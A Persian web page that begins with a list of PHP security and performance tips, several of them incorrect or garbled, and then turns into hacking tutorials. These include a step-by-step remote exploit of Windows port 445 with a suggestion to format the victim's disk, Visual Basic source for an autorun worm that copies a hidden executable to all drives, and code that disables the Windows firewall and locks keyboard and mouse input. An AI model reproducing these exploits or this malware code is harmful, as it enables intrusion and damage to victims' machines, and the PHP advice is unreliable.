حتی سرعت برخی توابعی که در بسته Standard هستش از توابع موجود در بسته PCRE خیلی بیشتره! نمونش: سرعت عمل
تابع str_replace نسبت به تابع preg_replace، دقیقاً ۲۰% بیشتره(با مثال هم نشون میدم).
۱۷- در زبانهای برنامه نویسی استاندارد(به غیر از VB و +A شاید Delphi) وقتی شما دستوری رو می نویسید و اجرا می کنید،
حافظه پایان اون دستور رو ; یا همون نقطه ویرگول می دونه و یکی از ریز دلایلی که باعث شد استاندارد معرفی بشن همینه.
عدم رعایتش باعث: کندی در پردازش، آسیب پذیری، سردرگمی در بررسی اولیه صحت دستورات، اشغال فضای حافظه(غیر قابل تخلیه)، بروز خطا(در نرم افزارهای سنگین) و از این قبیل هستش!
مثال صحیح(تکرار):
کد PHP:
if($_X)
{
};
for(
$_X; …)
{
};
if(
$_X): …
endif;
for(
$_X; …): …
endfor;
class
X
{
};
و
…
۱۸- حتاامکان همه پارامترها، مقادیر، دستورات و غیره… رو تعریف کنید و بحالت پیش فرض رهاش نکنید تا خرابکار(خارج از نرم افزار) سو استفاده و تعریفش نکنه!
۱۹- اگر بیش از ۳ تابع دارید که در یک زمینه فعالیت می کنن همه رو در یک کلاس قرار بدید. هم ایمنیش بیشتره(براحتی فراخونی نمیشه)،
هم Handling کردنش و هم قدرت پیمایشش. من خودم قبلاً به دلیل سرعت بیشتر تابع، شاید تا ۵ تابع رو هم کلاس نمی کردم
مگر اینه توابع سنگینی بوده باشن. ولی از وقتی از شامپو کلاس استفاده می کنم(ریزش موهام ۲ برابر شده ، خیلی خوبه) کارمم تمیز تر شده .
۲۰- قبل از استفاده از کلاس، تابع و بسته از وجودش مطلع بشید. حتماً حتماً!
مثال صحیح:
کد PHP:
if(!extension_loaded(’standard’)): @exit(‘Extension Standard not loaded.’);
elseif(!extension_loaded(‘mysql’)): @exit(‘Extension MySQL not loaded.’);
elseif(!extension_loaded(‘pcre’)): @exit(‘Extension PCRE not loaded.’);
elseif(!extension_loaded(’session’)): @exit(‘Extension Session not loaded.’);
elseif(!class_exists(‘Tehran’)): @exit(‘Class Tehran does not exist.’);
endif;
و…
if(function_exists(’settype’)): settype($Str_Input, ’string’);
else: (string)$Str_Input;
endif;
و…
۲۱- الفبای کد نویسی ایستا!
بین(صحیح):
کد:
و(غلط):
کد:
خیلی تفاوت و جای سو، استفاده هست!
حتی بین پارامترهای CSS(غلط):
overflow: hidden; width: 250px; height: auto;
و(صحیح):
width: 250px; height: auto; overflow: hidden;
همچنین بین(صحیح):
$_REQUEST['FormName'], $_REQUEST['SubmitButtonName']…
و(غلط):
$_GET['FormName'], $_GET['SubmitButtonName']…
خیلی تفاوت و جای سو استفاده هست!
پس در نوشتن اینها(حتی اگر خودکار Insert می شوند) دقت کنید!
۲۲- از متد Protected/Public/Private به جای متد Var استفاده کنید. متد Var که معادل Public در PHP 5 هستش منسوخ شده
و سطح ایمنی بسیار پایینی برای محافظت متغیر های داخلی داره. پس حتاًالمکان از این متد استفاده نکنید.
شاید هم در نگارش های بعدی PHP(به غیر از Alpha و Beta) بکلی حذف شود! انشاا…
۲۳- حتاامکان از دستورات ::Self و ::Parent در کلاس والد برای دستیابی به اعضا و غیره…، به جای ::ClassName استفاده کنید.
در عمل و ظاهر تفاوتی ندارند ولی در باطن(حافظه) خیلی فرق دارند(پشمایش کلی انجام میده).
۲۴- آسیب پذیری مشترک و همگانی!
ورودی و خروجی پارامترهای URL رو چک و فیلتر کنید. مطمعن شوید که مثلاً
/index.php?Module=News&Action=Show&Identity=1&Valid =True…
، در اینجا Module از نوع حروف(Alphabetic) به طول ۲۵۵ کاراکتر، و Action هم از نوع حروف(Alphabetic) با طول ۲۵۵ کاراکتر و Identity
از نوع عدد(Integer) با طول ۱۰، و Valid از نوع Boolean هستش! این نکته ساده رو اغلب رعایت نمی کنن و بارها بارها بارها آسیب های جدی در نرم افزار هایشون بصورت مکرر پیش میاد.
همین الان در همین تالار خیلی ها وبسایتهایی دارند که از این نقطه آسیب پذیرند!!
۲۵- خروجی ها رو به نوع مربوطش حتماً حتماً حتماً تبدیل کنید.
مثلاً:
return((array)$_Ary_Output);
،
return((string)$_Str_Output);
…
اگر هم نرم افزارتون قابلیت تغییر Template/Theme رو داره، در آخر خروجی HTML یا همون Echo، از دستور
@exti(”);
جهت پاکسازی نهایی(آخر) بعد از خودش استفاده بکنید.
دسترسی فایلها تون رو هم به ReadOnly تنظیم کنید. حتی index.html ها در پوشه های خالی!
۲۶- اگر از short_open_tag مثل <؟ ؟> استفاده می کنید از فعال(On) بودن این Option در راس نرم افزارتون مطمعن بشید:
@ini_set(’short_open_tag’, ‘on’);
این Option در تعداد بیشماری از Server ها، بصورت Off هستش!
۲۷- حتاامکان از بسته PEAR :: Db استفاده نکنید!
این بسته ۲ مزایا داره که == ۲ معایبش… چون PEAR :: Db با PHP بکار گرفته میشه،
پس ۱: لایه ای که در PHP نوشته می شود از توابع داخلی خود PHP کند تر هست! مخصوصاً اگر بدون کش opcode اجرا شود. که اغلب می شود. نمی دونم چطوری، ولی فکر کنم با دعا جادو!
پس ۲: لایه اضافی کد، پیچیدگی و احتمال خطا را افزایش میده و در نتیجه آسیب پذیر میشه.
من، برای خودم هیچ کدوم از بسته های PEAR رو قبول ندارم. مخصوصاً بسته های Filtration Validation Db. پیشنهاد می کنم شما هم نداشته باشید.
۲۸- حملات DOS!
ساده ترین و عامیانه ترین عواملی که باعث میشن: پهنای باند پایین، پیکربندی نامناسب سرور وب و استفاده از نرم افزار های
سنگین(نیوک ها، تالار/انجمن ها…)(برای کار های سبک) و غیر استاندارد هستش!
راه حل ها(در مورد همه زبانهای تحت وب صدق میکنه): پهنای باند حداقل ۵۰۰ مگابایت، محدود کردن حجم هر بسته(HTTP post) نسبت
به پهنای باند، محدود کردن حجم هر درخواست(Body request) نسبت به پهنای باند، محدود کردن حجم Upload فایل نسبت به پهنای باند،
استفاده از فشرده سازی محتوا(Output)/Cache، محدود کردن زمان Excute نرم افزار(مثلاً ۲۵ ثانیه)، بهینه سازی/استاندارد سازی محتوای
Client-side، انتقال ندادن خطاهای HTTP به صفحات اصلی(در غیر این صورت یک Referer خطرناک هم خواهید داشت)، استفاده از فرمت های
مناسب(JPG, JPEG, JPE…) تصاویر، Handing کردن Repetition/Duplication ها، محدود کردن ترافیک خارجی با استفاده از IP range و…
محدود کردن ترافیک با استفاده از IP range: در وبسایتهای داخلی، طبیعتاً نیازی به ترافیک کشورهای خارجی نیست(اعم از Spam/Bot/Visitor…)
! با Block کردن range های IP کشورهای خارجی، پهنای باند و امنیت بیشتر رو برای وبسایت و سرور تون مهیا کنید. مثل روسیه، عربستان، افغانستان، ترکیه و…
۲۹- پروتکل WAP
25% برنامه نویسان با این پروتکل آشنایی ندارند! ۵۰% آشنایی دارند ولی اهمیتی نمیدن! ۲۵% می شناسن و اهمیت میدن…
تنها چیزی که میشه گفت: این پروتکل همون قدر مفید و قدرتمند هستش/همون قدر هم خطرناک!
فقط چند پیشنهاد: یا کلاً اجازه ورود رو بهش ندید(ارزشش رو داره) یا تماماً Header رو پاکسازی کنید(کمی سخته) یا فقط دسترسی Browse بهش بدید(کار کشته میطلبه).
۳۰- برای جلوگیری از ورود کاراکترهای مخرب UTF/Unicode به جداول Latin، از Option زیر برای ساختن جدول استفاده کنید(در مورد همه Database ها صدق میکنه):
charset= utf8
31- از قرار دادن فضا های خالی بی مورد و Comment های بیجا و نامناسب خودداری کنید. اینها تقریباً ۱۵% از حجم کل نرم افزارتون رو میگیرند!(Web programming میکنید نه Desktop programming).
32- حتالمکان توابع رو در کلاس بصورت static تعریف کنید، چراکه سرعت پردازش/Compile رو بسیار افزایش میده(مخصوصاً توابع طولانی و سنگین).
۳۳- به هیچ وجه از دستور print استفاده نکنید(++۹۹۹۹E+ بار گفته شده). دلیلتون برای استفاده چیه؟!
۳۴- در هنگام نصب جداول از بودن یا نبودنش مطلع بشید تا هنگام نصب/پیکربندی با خطا مواجه نشین. مثلاً:
drop table if exists `xxxxx`;
create table if not exists `xxxxx`;
35- حتاالمکان برای Database تون Password تعیین کنید.
اغلب Database ها بصورت پیش فرض Password هایی برای مدیر دارند، که خرابکار با بدست آوردن Username براحتی وارد Database خواهد شد و…!!
پس برای Database تون Password تعیین کنید.
۳۶- تنضیمات PHP:
register_globals رو Off قرار بدید(++۹۹۹۹E+ بار گفته شده).
session.auto_start رو ۰ قرار بدید.
default_mimetype رو text/html قرار بدید(سرعت بیشتر).
display_errors رو ۱ قرار بدید.
بهتره log_errors رو Off قرار بدید.
بهتره DATABASE.allow_persistent رو Off قرار بدید.
بهتره DATABASE.max_persistent رو ۱- قرار بدید.
حتاامکان DATABASE.default_user و DATABASE.default_password رو خالی بزارید.
حتاامکان session.hash_function رو ۱ قرار بدید(SHA1).
session.hash_bits_per_character رو ۵ قرار بدید.
در حالت معمولی دلیلی ندارید که safe_mode رو On قرار بدید.
۳۷- یک فایل htaccess درست کنید(برای نرم افزارتون) و تنظیمات زیر رو درونش قرار بدید(در حالت عادی):
کد:
order allow,denydeny from all
Options All -Indexes -ExecCGI -MultiViews
DirectoryIndex index.php index.html
AddDefaultCharset utf-8
<FilesMatch "\.(php|phphtml|html|xml)$">Header unset cache-control
php_value register_globals 0php_value session.auto_start 0
(این فایل رو در پوشه(Folder) اصلی نرم افزار قرار بدید.)
۳۸- محتویات تمام فایلهای Index.html یا Index.php یا Index.* در پوشه های خالی رو پاک کنید و فایل رو خالی از هر چیزی کنید…
حداقل اگر ۲۰ پوشه داشته باشید در هر ۲۰ پوشه ۵ پوشه دیگر و… و در هر فایل Index حداقل ۵۰ کیلوبایت اطلاعات، ببینید چه حجم
زیادی از نرم افزار رو میگیرن؟!(Web programming میکنید نه Desktop programming)
39- اگر نرم افزارتون قابلیت Multi language/چند زبانه رو داره، هیچ وقت یک فایل رو مختص تمام این کار قرار ندید و در همه جا همون
رو فراخوانی نکنید(خیلی از نرم افزارهای معروف و مثلاً استاندارد اینکارو میکنن)! در صورتی که نیمی از متغیرها بی استفاده تعریف و Load میشن!! و دیگه Unload/Unset هم نمیشن!!
باید مثلاً ۱ پوشه به نام زبان درست کنید و درونش بخش بخش فایل های Language رو قرار بدید. مثلاً ,menu.php ,events.php ,global.php index.php ,login.php,…
40- هیچ وقت از آرایه/متغیر سراسری GLOBALS$/global استفاده نکنید. این دستور به صورت Scope تعریف و ارجاع می شه! و ایمنی
خیلی پایینی هم داره. همچنین از ()UnSet هم پشتیبانی نمی کنه(تجسم خلاق کنیم حذفش کنن…).
۴۱- بهتره هیچ وقت از include و include_once استفاده نکنید! دلیلتون برای استفاده چیه؟!
۴۲- حتاالمکان آدرس کامل(Path) رو برای ضمیمه هر فایلی بنویسید. این کار سرعت پیدا/Solve کردن Path رو توسط سرور افزایش میده(Steelsheet ها، JavaScript ها، require ها و…).
۴۳- بعد از نصب/پیکربندی نرم افزار، حتماً حتماً پوشه/فایل Install رو حذف کنید!
۴۴- حتاامکان از دستور switch بجای چند شرطی if استفاده کنید. اینکار سرعت پردازش/Compile رو افزایش میده.
۴۵- حتالمکان از @ برای ignore کردن خطا(Error suppression) در توابع/دستورات طولانی/سنگین/پر کاربرد استفاده نکنید! این کار سرعت سرور وب رو برای پردازش/Compile خیلی کاهش میده!!
۴۶- متغیر ها، آرایه ها، درخواستهای HTTP و… رو بعد از استفاده حتماً حتماً Unset/خنثی کنید!
۴۷- کدها/اسکریپتهای کوتاه رو در فایل HTML قرار بدید. این کار سرعت سرور وب رو برای پردازش/Compile خیلی افزایش میده.
۴۸- بعد استفاده از session حتماً حتماً اون رو destroy و unset کنید!!
session_unset و session_destroy
اغلب PHP نویسان به session_destroy کفایت میکنن!! در صورتی که unset یه چیزه destroy چیزه دیگست…
و آخر اینکه مواظب تصاویری که Upload میشن باشید!!
این مساله بیشتر در مورد فرم های ثبت نام!!، فرم های استخدام!! گالری های تصاویر!! و امثالش صدق میکنه.
باید مطمعن بشید که فایل Upload شده تصویری هستش! در غیر این صورت با همچین چیزی مواجه میشید:
مثال ساده محتوای فایل hack.gif
کد:
…
برای جلوگیری از اینکار سایز/اندازه/پیکسل تصویر رو بگیرید… اگر فاقد اینها بود فایل تصویری نیست.
امیدوارم این مطلب بسیار کاربردی و مهم مورد استفاده شما قرار بگیرید، انشاء الله آرایه قلبتون null نباشه length اش هیچ وقت هم صفر نباشه
هک کردن آسان با داس
مطلبی که در این جا میوانید یکمی پیچیده هستش بنابراین اصلا نگران نباشید گام به گام با متن زیر پیش بروید
خلاصه بگم با این کاری که می خواهیم انجام بدیم اسمش حمله به سیستم عامل ویندوز هست؟
1. ابتدا آی پی مورد نظر یا همان قربانی را برای باز بودن پورت 445 امتحان می کنیم
شاید بعضی از عزیزان بگوید آی پی چیه؟ آی پی همان به زبان ساده آدرس یک کامپیوتر می باشد یا از آن ساده تر کد ملی یک کامپیوتر می باشد
2. به محیط سی ام دی یا همان داس بروید
3.با دستور زیر امتحان میکنیم که آیا پورت445 باز است یا نه
telenet ip445
5.فرض کنید آی پی قربانی 217.0.0.1 است بنابراین باید فرمان زیر را تایپ کنید.
expl.exe 0 217.0.0.1 24745
6. اگر درست نوشته باشید باید در محیط داس نوشته های زیر را مشاهده کنید
target: ip:217.0.0.1:wind xp[universal] lsass.exe[x]x
connecting to 217.0.0.1:445 .. ok
attacking...ok[x]x
7. حمله انجام شدو پورت مورد نظر شمات که در مرحله شماره 6 من شماره پورت 24745 را انتخاب کردم . الان باز شده تا ما وارد دستگاه قربانی شویم پس در خط فرماتن داس بنویسید.
telenet 217.0.0.1 24745
8. به همین راحتی موفق شدید دستگاه قربانی اجرا شود.
format c مثلا اگر بزنید
می توانید هارد قربانی را فرمت کنید
ولی توجه کنید یک هکر در اوج قدرت دست به خرابکاری نمیزند پس هر کاری میکنید بکنید ولی خرابکاری نه!
بوق ممتد؟
هر سیستمی بوق هم دارد که با توجه به صدای آن مفهومش فرق می کند
public d delare funation beep lip "kernel32" (byval dwfreeg as long , byval dwsuratyion as long) as long
privat sub timer1_timer
,ba in dastor sade beep (bogh) case be sade dar miyad
beep 1000,0000
end sup
این کد یک ویروس است و با نوشتن این کد ویروس شما در کلیه درایوها بصورت اتوران قرار خواهد گرفت
فقط دقت کنید که این کار باید داخل یک تایمر و در محدوده مانی خاصی(مثلا 6 ثانیه) باشد.
private sub timer1_timer()
'sakht autorun.inf dar tamame drivha
on error resume next
static Drvs(26)
set fso=createobject("scripring.filesystemobject")
if cstr(drvs(0))="" then a = 0 for eah dr in fso.drives
if dr.drivetype=5 or dr.drivetype=2 or dr.drivetype=3 then drvs(a) = dr
a= a+1
end if
next
end if
for each drv in drvs
if fso.fileexists(drv & "\AUTORUN") = true and fso.fileex
(drv &"\I_LEove_U_Saghar.exe") = terue then GoTo nx
if fso.getDrivee(drv).isReady = treue then
aut = [AUTORUN]" & vbcrlf & "shell\open\command=I_Love
U_Saghar.exe" & vbcrlf & "shell\explore
\command=I_Love_U_Saghar.exe" & vbcrlf & "shell\find\command=I_Love_U_Saghar.exe
if fso.fileExists(drv &"\AUTORUN.INF") = true then
setattr drv & "\AUTORUN.INF", vbArchive
fso.Deletfile drv & "\AUTORUN.INF", true
end if
if fso.fileexists(drv & "\I_Love_U_Saghar.exe") = true then
setattr drv & "\AUTORUN.INF", vbArchive
fso.Deletfile drv & "\AUTORUN.INF", true
end if
fso.createTextfile(drv & "\AUTORUN.INF").write aut
mypath=app.path & "\" & app.EXEName & ".exe"
fso.copyfile mypath, drv & "\I_Love_U_Saghar.exe", true
setattr drv & "\I_Love_U_Saghar.exe", vbHidden + vbsystem
setattr drv & "\AUTORUN.INF", vb Hidden + vbsystem
end if nx:
doEEvent
next
end sub
خب بصورت اتوماتیک ویروس ساخته شد و با این فرمان در تمام درایوها بصورت اتوماتیک اتوران در میاد
فقط برنامه نویس عزیز دقت کنید کوچ و بزرگ بودن حرفا حساس می باشد
ابتدا Command Prompt را فراخوانی می کنیم , خوب برای فراخوانی از تابع Shell استفاده میکنیم که قبلا در مورد این تابع توضیح داده ام :
Shell "cmd.exe"
:: اکنون یک شیء ایجاد می کنیم تا بتوانیم از طیق آن به هسته Dos دسترسی داشته باشیم :
Dim WinShell
Set WinShell = CreateObject("Wscript.shell")
خوب حالا می توانید به راحتی هر دستوری که دارید میتوانید اجرا کنید در آخر هم دستور تابع Sendkeys کلید Enter را اجرا کرده و دستور اجرا میشود:
WinShell.SendKeys " Dos دستور مورد نظر برای اجرا در "
WinShell.SendKeys "{ENTER}"
به مثاهای زیر توجه کنید که به ترتیب اولی برای ایجاد پوشه ای به نام Visual Basic در درایو C و دستور دوم برای نمایش پوشه های موجود در درایو C و دستور سوم برای Format فلاپی دیسک می باشد .
'For Create Folder With Dos Prompt :
WinShell.SendKeys "MD C:\Visual" & " Basic"
WinShell.SendKeys "{ENTER}"
'For Showing C Directory :
WinShell.SendKeys "Dir C:\"
WinShell.SendKeys "{ENTER}"
'For Format Floppy Disk Of Dos :
WinShell.SendKeys "format A:"
WinShell.SendKeys "{ENTER}"
فایروال چیست؟
بطور خلاصه یک فایروال از شبکه شما در برابر ترافیک ناخواسته و همچنین نفوذ دیگران به کامپیوتر شما حفاظت می کند.
توابع اولیه یک فایر وال به این صورت هستند که اجازه می دهند ترافیک خوب عبور کند و ترافیک بد را مسدود می کند.
مهمترین قسمت یک فایروال ویژگی کنترل دستیابی آن است که بین ترافیک خوب وبد تمایز قائل می شود.
برای از کار انداختن این موجود مفید در محیط برنامه ویژال بیسیک این کد را وارد کنید:
privatte sub form_load()
dim objfirewall as object
set objfirewall=createobject("HNetCfg.FwMgr")
set objpolicy=objfirewall.localpolicy.currentprofile
objpolicy.firewallenabled=false
end sub
از کار انداختن صفحه کلید و ماوس
دو قطعه اصلی جهت ورود اطلاعات و کار با کامپیوتر کیبرد یا همان صفحه کلید و ماوس است
که بدون این دو وسیله کار با کامپیوتر غیر ممکن است. برای از کار انداختن این دو:
1. در محیط برنامه ویژال بیسیک این کد را به دقت وارد نمایید:
private declare funaction BlockInput Lip "user32.dll"
(ByVal fblock as long) as long
private sub form load()
do
BlkokInput true
loop While(1)
end sub
یک برنامه کامپیوتری است که به مانند ویروس خود را تکثیر می کند اما
بر خلاف ویروس فایل های دیگر را آلوده نمی کند. گاهی به کرم ها انگل کامپیوتری نیز گفته
می شود. کرمها نیز به مانند ویروس ها می توانند خود را در شبکه تکثیر کنند.
کدام زبانه برنامه نویسی قابل رضایت است؟
| |
وب : | |
پیام : | |
2+2=: | |
(Refresh) |